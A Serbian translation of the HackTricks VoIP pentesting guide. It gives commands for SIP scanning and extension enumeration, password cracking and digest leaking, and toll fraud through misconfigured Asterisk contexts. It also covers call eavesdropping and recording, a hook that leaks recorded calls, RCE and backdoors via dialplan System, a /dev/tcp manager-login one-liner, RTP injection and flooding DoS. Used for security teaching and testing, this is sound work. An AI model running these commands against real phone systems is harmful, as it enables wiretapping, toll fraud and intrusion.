hacktricks/network-services-pentesting/pentesting-voip
2024-04-18 04:05:43 +00:00
..
basic-voip-protocols Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:05:43 +00:00
README.md Translated to Serbian 2024-02-10 13:11:20 +00:00

Pentestiranje VoIP-a

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije o VoIP-u

Da biste počeli da učite o tome kako VoIP funkcioniše, proverite:

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

Enumeracija VoIP-a

Telefonski brojevi

Jedan od prvih koraka koje Red Team može da preduzme je da pretraži dostupne telefonske brojeve za kontaktiranje kompanije koristeći OSINT alate, Google pretrage ili skeniranje web stranica.

Kada imate telefonske brojeve, možete koristiti online usluge za identifikaciju operatera:

Znajući da li operater pruža VoIP usluge, možete identifikovati da li kompanija koristi VoIP... Osim toga, moguće je da kompanija nije angažovala VoIP usluge, već koristi PSTN kartice za povezivanje sopstvene VoIP PBX sa tradicionalnom telefonskom mrežom.

Stvari poput automatskih odgovora ili muzike obično ukazuju na to da se koristi VoIP.

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT informacije

Sve druge OSINT metode koje pomažu u identifikaciji korišćenog VoIP softvera će biti od pomoći za Crveni Tim.

Enumeracija mreže

  • nmap je sposoban za skeniranje UDP servisa, ali zbog velikog broja skeniranih UDP servisa, veoma je spor i možda nije vrlo precizan sa ovakvim vrstama servisa.
  • svmap iz SIPVicious (sudo apt install sipvicious): Lociraće SIP servise u navedenoj mreži.
  • svmap je lako blokirati jer koristi User-Agent friendly-scanner, ali možete izmeniti kod iz /usr/share/sipvicious/sipvicious i promeniti ga.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py iz sippts: Sipscan je veoma brzi skener za SIP usluge preko UDP, TCP ili TLS protokola. Koristi višenitnost i može skenirati velike opsege mreža. Omogućava lako navođenje opsega porta, skeniranje i TCP i UDP protokola, korišćenje drugih metoda (po defaultu će koristiti OPTIONS) i navođenje drugačijeg User-Agent-a (i još mnogo toga).
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200

  • metasploit:

Metasploit je moćan alat za testiranje penetracije koji se često koristi u svetu hakovanja. Ovaj alat omogućava hakere da identifikuju ranjivosti u sistemima i izvrše napade na njih. Metasploit pruža širok spektar modula i eksploita koji se mogu koristiti za iskorišćavanje ranjivosti u različitim mrežnim servisima. Ovaj alat je veoma popularan među hakere zbog svoje fleksibilnosti i efikasnosti. Metasploit takođe pruža mogućnost automatizacije napada, što olakšava hakere u izvršavanju napada na ciljane sisteme.

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Dodatno prebrojavanje mreže

PBX takođe može otkrivati druge mrežne usluge kao što su:

  • 69/UDP (TFTP): Ažuriranje firmware-a
  • 80 (HTTP) / 443 (HTTPS): Upravljanje uređajem putem weba
  • 389 (LDAP): Alternativa za skladištenje informacija o korisnicima
  • 3306 (MySQL): MySQL baza podataka
  • 5038 (Manager): Omogućava korišćenje Asteriska sa drugih platformi
  • 5222 (XMPP): Poruke putem Jabbera
  • 5432 (PostgreSQL): PostgreSQL baza podataka
  • I druge...

Prebrojavanje metoda

Moguće je pronaći koje su metode dostupne za upotrebu u PBX-u koristeći sipenumerate.py iz sippts

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Enumeracija proširenja

Proširenja u PBX (Private Branch Exchange) sistemu se odnose na jedinstvene interne identifikatore dodijeljene pojedinačnim telefonskim linijama, uređajima ili korisnicima unutar organizacije ili preduzeća. Proširenja omogućavaju efikasno usmjeravanje poziva unutar organizacije, bez potrebe za pojedinačnim vanjskim telefonskim brojevima za svakog korisnika ili uređaj.

  • svwar iz SIPVicious (sudo apt install sipvicious): svwar je besplatni skener linija proširenja SIP PBX-a. Konceptualno radi slično tradicionalnim wardialerima tako što pogađa raspon proširenja ili datu listu proširenja.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py iz sippts: Sipexten identifikuje ekstenzije na SIP serveru. Sipexten može proveriti velike mreže i opsege portova.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: Takođe možete nabrojati ekstenzije/korisnička imena pomoću metasploita:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX je alat za bruteforce pretragu korisničkih imena za Inter Asterisk Exchange (IAX) protokol. enumIAX može raditi u dva različita moda; Sekvencijalno nagađanje korisničkih imena ili Napad rječnikom.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

Napadi na VoIP

Brute-Force napad na lozinke

Nakon što je otkriven PBX i neki ekstenzije/korisnička imena, Crveni tim može pokušati autentifikaciju putem metode REGISTER na ekstenziju koristeći rečnik uobičajenih lozinki za brute-force napad.

{% hint style="danger" %} Imajte na umu da korisničko ime može biti isto kao i ekstenzija, ali ova praksa može varirati u zavisnosti od PBX sistema, njegove konfiguracije i preferencija organizacije...

Ako korisničko ime nije isto kao i ekstenzija, moraćete odrediti korisničko ime kako biste ga napali brute-force metodom. {% endhint %}

  • svcrack iz SIPVicious (sudo apt install sipvicious): SVCrack vam omogućava da napadnete lozinku za određeno korisničko ime/ekstenziju na PBX-u.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py iz sippts: SIP Digest Crack je alat za probijanje autentifikacije digesta unutar SIP protokola.

{% code overflow="wrap" %}

python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

{% endcode %}

Snifovanje VoIP-a

Ako pronađete VoIP opremu unutar otvorenog WiFi mreže, možete snifovati sve informacije. Osim toga, ako se nalazite unutar zatvorenije mreže (povezani preko Ethernet-a ili zaštićenog WiFi-ja), možete izvesti MitM napade kao što je ARPspoofing između PBX-a i gateway-a kako biste snifovali informacije.

Među informacijama o mreži, možete pronaći web pristupne podatke za upravljanje opremom, korisničke ekstenzije, korisnička imena, IP adrese, čak i hashirane lozinke i RTP pakete koje možete reprodukovati kako biste čuli razgovor, i još mnogo toga.

Da biste dobili ove informacije, možete koristiti alate poput Wireshark-a, tcpdump-a... ali posebno kreiran alat za snifovanje VoIP razgovora je ucsniff.

{% hint style="danger" %} Imajte na umu da ako se TLS koristi u SIP komunikaciji, nećete moći videti SIP komunikaciju u čistom obliku.
Isto će se dogoditi ako se koristi SRTP i ZRTP, RTP paketi neće biti u čitljivom tekstu. {% endhint %}

SIP pristupni podaci

Pogledajte ovaj primer da biste bolje razumeli SIP REGISTER komunikaciju kako biste saznali kako se pristupni podaci šalju.

  • sipdump & sipcrack, deo sipcrack (apt-get install sipcrack): Ovi alati mogu izvući iz pcap datoteke digest autentifikacije unutar SIP protokola i bruteforce ih.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py sa sippts:
  • SipTshark izvlači podatke protokola SIP iz PCAP datoteke.
  • SipDump izvlači SIP Digest autentifikacije iz PCAP datoteke.
  • SIP Digest Crack je alat za pucanje Digest autentifikacija unutar SIP protokola.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

DTMF kodovi

Ne samo SIP akreditacije mogu se pronaći u mrežnom saobraćaju, već je takođe moguće pronaći DTMF kodove koji se koriste, na primer, za pristup glasovnoj pošti.
Moguće je poslati ove kodove u INFO SIP porukama, u audio formatu ili unutar RTP paketa. Ako su kodovi unutar RTP paketa, možete iseći taj deo razgovora i koristiti alatku multimo za njihovo izdvajanje:

multimon -a DTMF -t wac pin.wav

Besplatni pozivi / Nesigurna konfiguracija veza Asterisk-a

U Asterisk-u je moguće dozvoliti vezu sa određene IP adrese ili sa bilo koje IP adrese:

host=10.10.10.10
host=dynamic

Ako je navedena IP adresa, host neće morati slati REGISTER zahtjeve svakih nekoliko minuta (u REGISTER paketu se šalje vreme života, obično 30 minuta, što znači da bi u drugom scenariju telefon morao da se registruje svakih 30 minuta). Međutim, moraće imati otvorene portove koji omogućavaju konekcije sa VoIP serverom za primanje poziva.

Da bismo definisali korisnike, mogu se definisati na sledeći način:

  • type=user: Korisnik može samo primati pozive kao korisnik.
  • type=friend: Moguće je obavljati pozive kao peer i primati ih kao korisnik (koristi se sa ekstenzijama)
  • type=peer: Moguće je slati i primati pozive kao peer (SIP-trunkovi)

Takođe je moguće uspostaviti poverenje sa nesigurnom promenljivom:

  • insecure=port: Omogućava peer konekcije koje su validirane preko IP adrese.
  • insecure=invite: Ne zahteva autentifikaciju za INVITE poruke.
  • insecure=port,invite: Oboje

{% hint style="warning" %} Kada se koristi type=friend, vrednost promenljive host neće biti korišćena, pa ako administrator pogrešno konfiguriše SIP-trunk koristeći tu vrednost, svako će moći da se poveže sa njim.

Na primer, ova konfiguracija bi bila ranjiva:
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

Besplatni pozivi / Nesigurna konfiguracija konteksta u Asterisku

U Asterisku, kontekst je nazvani kontejner ili sekcija u planu biranja koji grupiše povezane ekstenzije, akcije i pravila. Plan biranja je osnovna komponenta sistema Asterisk, jer definiše kako se obrađuju i rutiraju dolazni i odlazni pozivi. Konteksti se koriste za organizovanje plana biranja, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema.

Svaki kontekst je definisan u konfiguracionom fajlu, obično u fajlu extensions.conf. Konteksti se označavaju uglastim zagradama, sa imenom konteksta unutar njih. Na primer:

csharpCopy code[my_context]

Unutar konteksta, definišete ekstenzije (obrasce biranih brojeva) i povezujete ih sa nizom akcija ili aplikacija. Ove akcije određuju kako će poziv biti obrađen. Na primer:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Ovaj primer prikazuje jednostavan kontekst nazvan "my_context" sa ekstenzijom "100". Kada neko birne 100, poziv će biti prihvaćen, reprodukovaće se poruka dobrodošlice, a zatim će poziv biti prekinut.

Ovo je još jedan kontekst koji omogućava pozivanje bilo kog drugog broja:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Ako administrator definiše podrazumevani kontekst kao:

[default]
include => my_context
include => external

{% hint style="warning" %} Bilo ko će moći da koristi server da pozove bilo koji drugi broj (a administrator servera će platiti poziv). {% endhint %}

{% hint style="danger" %} Osim toga, podrazumevano sip.conf datoteka sadrži allowguest=true, što znači da će svaki napadač bez autentifikacije moći da pozove bilo koji drugi broj. {% endhint %}

  • sipinvite.py iz sippts: Sipinvite proverava da li nam PBX server omogućava da vršimo pozive bez autentifikacije. Ako SIP server ima neispravnu konfiguraciju, dozvoliće nam da vršimo pozive ka spoljnim brojevima. Takođe nam može omogućiti da preusmerimo poziv na drugi spoljni broj.

Na primer, ako vaš Asterisk server ima lošu konfiguraciju konteksta, možete prihvatiti INVITE zahtev bez autorizacije. U tom slučaju, napadač može vršiti pozive ne znajući korisničko ime/lozinku.

{% code overflow="wrap" %}

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

Besplatni pozivi / Nesigurna konfiguracija IVRS-a

IVRS označava Interaktivni sistem za odgovaranje glasom, telefonsku tehnologiju koja omogućava korisnicima da komuniciraju sa računarskim sistemom putem glasa ili tona pritiskom na tastere. IVRS se koristi za izgradnju automatizovanih sistema za upravljanje pozivima koji pružaju različite funkcionalnosti, kao što su pružanje informacija, usmeravanje poziva i prikupljanje korisničkih unosa.

IVRS u VoIP sistemima obično se sastoji od:

  1. Glasovnih poruka: Prethodno snimljenih audio poruka koje vode korisnike kroz opcije i uputstva IVR menija.
  2. DTMF (Dual-Tone Multi-Frequency) signalizacija: Unosi tona pritiskom na tastere na telefonu, koja se koriste za navigaciju kroz IVR menije i pružanje unosa.
  3. Usmeravanje poziva: Usmeravanje poziva ka odgovarajućoj destinaciji, kao što su određeni departmani, agenti ili ekstenzije na osnovu korisničkog unosa.
  4. Prikupljanje korisničkih unosa: Prikupljanje informacija od pozivaoca, kao što su brojevi računa, identifikatori slučaja ili bilo koji drugi relevantni podaci.
  5. Integracija sa spoljnim sistemima: Povezivanje IVR sistema sa bazama podataka ili drugim softverskim sistemima radi pristupa ili ažuriranja informacija, izvršavanja radnji ili pokretanja događaja.

U Asterisk VoIP sistemu možete kreirati IVR koristeći plan biranja (extensions.conf fajl) i različite aplikacije kao što su Background(), Playback(), Read() i druge. Ove aplikacije vam pomažu da reprodukujete glasovne poruke, prikupljate korisničke unose i kontrolišete tok poziva.

Primer nesigurne konfiguracije

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Prethodni primer pokazuje situaciju gde se korisniku traži da pritisne 1 za poziv na određeno odeljenje, 2 za poziv na drugo odeljenje, ili unese potpuni broj ekstenzije ako ga zna.
Ranjivost je u tome što se dužina unete ekstenzije ne proverava, tako da korisnik može uneti potpuni broj i poziv će biti uspostavljen.

Ubacivanje ekstenzije

Korišćenje ekstenzije kao što je:

exten => _X.,1,Dial(SIP/${EXTEN})

Gde se ${EXTEN} nalazi ekstenzija koja će biti pozvana, kada se unese ext 101, ovo bi se desilo:

exten => 101,1,Dial(SIP/101)

Međutim, ako ${EXTEN} dozvoljava unošenje više od brojeva (kao u starijim verzijama Asteriska), napadač bi mogao uneti 101&SIP123123123 kako bi pozvao broj telefona 123123123. I ovo bi bio rezultat:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Stoga, poziv na ekstenziju 101 i 123123123 će biti poslat i samo prvi koji dobije poziv će biti uspostavljen... ali ako napadač koristi ekstenziju koja zaobilazi svako podudaranje koje se vrši, ali ne postoji, on može ubaciti poziv samo na željeni broj.

SIPDigestLeak

SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i adaptere za telefone (VoIP na analogni). Ranjivost omogućava procurivanje odgovora za Digest autentifikaciju, koji se izračunava na osnovu lozinke. Tada je moguć napad na lozinku izvan mreže i moguće je povratiti većinu lozinki na osnovu odgovora na izazov.

**Scenario ranjivosti odavde**:

  1. IP telefon (žrtva) sluša na portu 5060 i prihvata telefonske pozive
  2. Napadač šalje INVITE IP telefonu
  3. Telefon žrtve počinje zvoniti i neko se javlja i spušta slušalicu (jer niko ne odgovara na drugom kraju telefona)
  4. Kada se telefon spusti, telefon žrtve šalje BYE napadaču
  5. Napadač izdaje odgovor 407 koji traži autentifikaciju i izdaje izazov za autentifikaciju
  6. Telefon žrtve pruža odgovor na izazov autentifikacije u drugom BYE-u
  7. Napadač tada može izvršiti napad iscrpljivanjem resursa na odgovor izazova na svojoj lokalnoj mašini (ili distribuiranoj mreži itd.) i pogoditi lozinku
  • sipdigestleak.py iz sippts: SipDigestLeak iskorišćava ovu ranjivost.
python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call omogućava korisniku veba (koji na primer može biti zainteresovan za proizvod) da unese svoj broj telefona kako bi bio pozvan. Zatim će biti pozvan komercijalni broj, i kada korisnik podigne slušalicu, biće pozvan i povezan sa agentom.

Uobičajeni Asterisk profil za ovo je:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Prethodni profil omogućava BILO KOJOJ IP adresi da se poveže (ako je poznata lozinka).
  • Da biste organizovali poziv, kao što je prethodno navedeno, nije potrebna dozvola za čitanje i potrebno je samo originate u write.

Sa ovim dozvolama, bilo koja IP adresa koja zna lozinku može se povezati i izvući previše informacija, kao što su:

{% code overflow="wrap" %}

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

Više informacija ili radnji može biti zatraženo.

Prisluškivanje

U Asterisku je moguće koristiti komandu ChanSpy koja označava ekstenziju(e) za praćenje (ili sve njih) kako bi se čule razgovori koji se odvijaju. Ova komanda mora biti dodeljena jednoj ekstenziji.

Na primer, exten => 333,1,ChanSpy('all',qb) označava da ako pozovete ekstenziju 333, ona će pratiti sve ekstenzije, početi da sluša svaki put kada započne novi razgovor (b) u tihom režimu (q) jer ne želimo da se mešamo u njega. Možete preći sa jednog razgovora na drugi pritiskom na *, ili označavanjem broja ekstenzije.

Takođe je moguće koristiti ExtenSpy za praćenje samo jedne ekstenzije.

Umesto slušanja razgovora, moguće je snimati ih u fajlove koristeći ekstenziju kao što je:

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

Pozivi će biti sačuvani u /tmp.

Takođe, možete čak i da naterate Asterisk da izvrši skriptu koja će otkriti poziv kada se zatvori.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed je veliki sigurnosni problem koji utiče na Asterisk bazirane VoIP servere (objavljen 2017. godine). Ova ranjivost omogućava da se RTP (Real Time Protocol) saobraćaj, koji prenosi VoIP razgovore, interceptira i preusmeri od strane bilo koga na internetu. Ovo se dešava zato što RTP saobraćaj zaobilazi autentifikaciju prilikom prolaska kroz NAT (Network Address Translation) firewall-e.

RTP proxy-ji pokušavaju da reše NAT ograničenja koja utiču na RTC sisteme tako što posreduju RTP tokove između dve ili više strana. Kada je NAT prisutan, softver RTP proxy-ja često ne može da se osloni na RTP IP i port informacije dobijene putem signalizacije (npr. SIP). Zbog toga, nekoliko RTP proxy-ja je implementiralo mehanizam gde se takav IP i port par automatski uči. Ovo se često radi inspekcijom dolaznog RTP saobraćaja i označavanjem izvornog IP i porta za bilo koji dolazni RTP saobraćaj kao onog na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "režim učenja", ne koristi nikakvu vrstu autentifikacije. Stoga napadači mogu slati RTP saobraćaj RTP proxy-ju i primati prosleđeni RTP saobraćaj namenjen pozivaocu ili primaocu postojećeg RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove namenjene legitimnim korisnicima.

Još jedno interesantno ponašanje RTP proxy-ja i RTP stack-ova je da ponekad, čak i ako nisu ranjivi na RTP Bleed, oni će prihvatiti, proslediti i/ili obraditi RTP pakete sa bilo kog izvora. Stoga napadači mogu slati RTP pakete koji im omogućavaju da ubace svoje medije umesto legitimnih. Ovaj napad nazivamo RTP injection jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može se naći i kod RTP proxy-ja i kod krajnjih tačaka.

Asterisk i FreePBX tradicionalno koriste NAT=yes podešavanje, koje omogućava da RTP saobraćaj zaobiđe autentifikaciju, što može dovesti do nedostatka zvuka ili jednosmernog zvuka tokom poziva.

Za više informacija posetite https://www.rtpbleed.com/

  • rtpbleed.py iz sippts: Detektuje ranjivost RTP Bleed slanjem RTP tokova.
python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py iz sippts: Otkriva ranjivost RTP Bleed slanjem RTP tokova.
python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py iz sippts: Iskoristite ranjivost RTP Bleed slanjem RTP tokova
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py iz sippts: Iskoristite ranjivost RTP Bleed slanjem RTP tokova (iz audio fajla)
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

U Asterisku nekako uspevate da dodate pravila proširenja i ponovo ih učitate (na primer, kompromitovanjem ranjivog web menadžerskog servera), moguće je dobiti RCE korišćenjem System komande.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Postoji komanda nazvana Shell koja se može koristiti umesto System za izvršavanje sistemskih komandi ako je potrebno.

{% hint style="warning" %} Ako server onemogućava korišćenje određenih karaktera u System komandi (kao što je slučaj sa Elastix-om), proverite da li veb server omogućava kreiranje fajlova unutar sistema (kao što je slučaj sa Elastix-om ili trixbox-om) i koristite to da biste kreirali skriptu za zadnja vrata i zatim koristite System da biste izvršili tu skriptu. {% endhint %}

Interesantni lokalni fajlovi i dozvole

  • sip.conf -> Sadrži lozinke SIP korisnika.
  • Ako Asterisk server radi kao root, možete kompromitovati root.
  • mysql root korisnik možda nema lozinku.
  • Ovo se može iskoristiti za kreiranje novog mysql korisnika kao zadnja vrata.
  • FreePBX
  • amportal.conf -> Sadrži lozinku administratora veb panela (FreePBX).
  • FreePBX.conf -> Sadrži lozinku korisnika FreePBXuser koji se koristi za pristup bazi podataka.
  • Ovo se može iskoristiti za kreiranje novog mysql korisnika kao zadnja vrata.
  • Elastix
  • Elastix.conf -> Sadrži nekoliko lozinki u čistom tekstu, kao što su mysql root lozinka, IMAPd lozinka, web admin lozinka.
  • Nekoliko foldera će pripadati kompromitovanom asterisk korisniku (ako ne radi kao root). Ovaj korisnik može čitati prethodne fajlove i takođe kontroliše konfiguraciju, pa može naterati Asterisk da učita druge zadnje vrata binarne datoteke prilikom izvršavanja.

RTP Injekcija

Moguće je ubaciti .wav fajl u konverzacije koristeći alate kao što su rtpinsertsound (sudo apt install rtpinsertsound) i rtpmixsound (sudo apt install rtpmixsound).

Ili možete koristiti skripte sa http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ da skenirate konverzacije (rtpscan.pl), pošaljete .wav fajl u konverzaciju (rtpsend.pl) i ubacite buku u konverzaciju (rtpflood.pl).

DoS

Postoji nekoliko načina za pokušaj DoS-a na VoIP serverima.

  • sipflood.py iz sippts**: **SipFlood šalje neograničene poruke cilju
  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
  • IAXFlooder: DoS IAX protokola koji koristi Asterisk
  • inviteflood: Alat za izvođenje SIP/SDP INVITE poruka preplavljivanjem preko UDP/IP.
  • rtpflood: Slanje nekoliko ispravnih RTP paketa. Potrebno je znati koje RTP portove koristi (prvo snifirajte).
  • SIPp: Omogućava analizu i generisanje SIP saobraćaja, pa se može koristiti i za DoS.
  • SIPsak: SIP švajcarski nožić. Može se koristiti i za izvođenje SIP napada.
  • Fuzzeri: protos-sip, voiper.
  • sipsend.py iz sippts: SIPSend nam omogućava slanje prilagođene SIP poruke i analizu odgovora.
  • wssend.py iz sippts: WsSend nam omogućava slanje prilagođene SIP poruke preko WebSockets-a i analizu odgovora.

OS Ranjivosti

Najlakši način za instaliranje softvera kao što je Asterisk je preuzimanje OS distribucije u kojoj je već instaliran, kao što su: FreePBX, Elastix, Trixbox... Problem sa njima je što kada jednom počnu da rade, sistem administratori ih možda neće ažurirati ponovo i sa vremenom će biti otkrivene ranjivosti.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini da podržite HackTricks: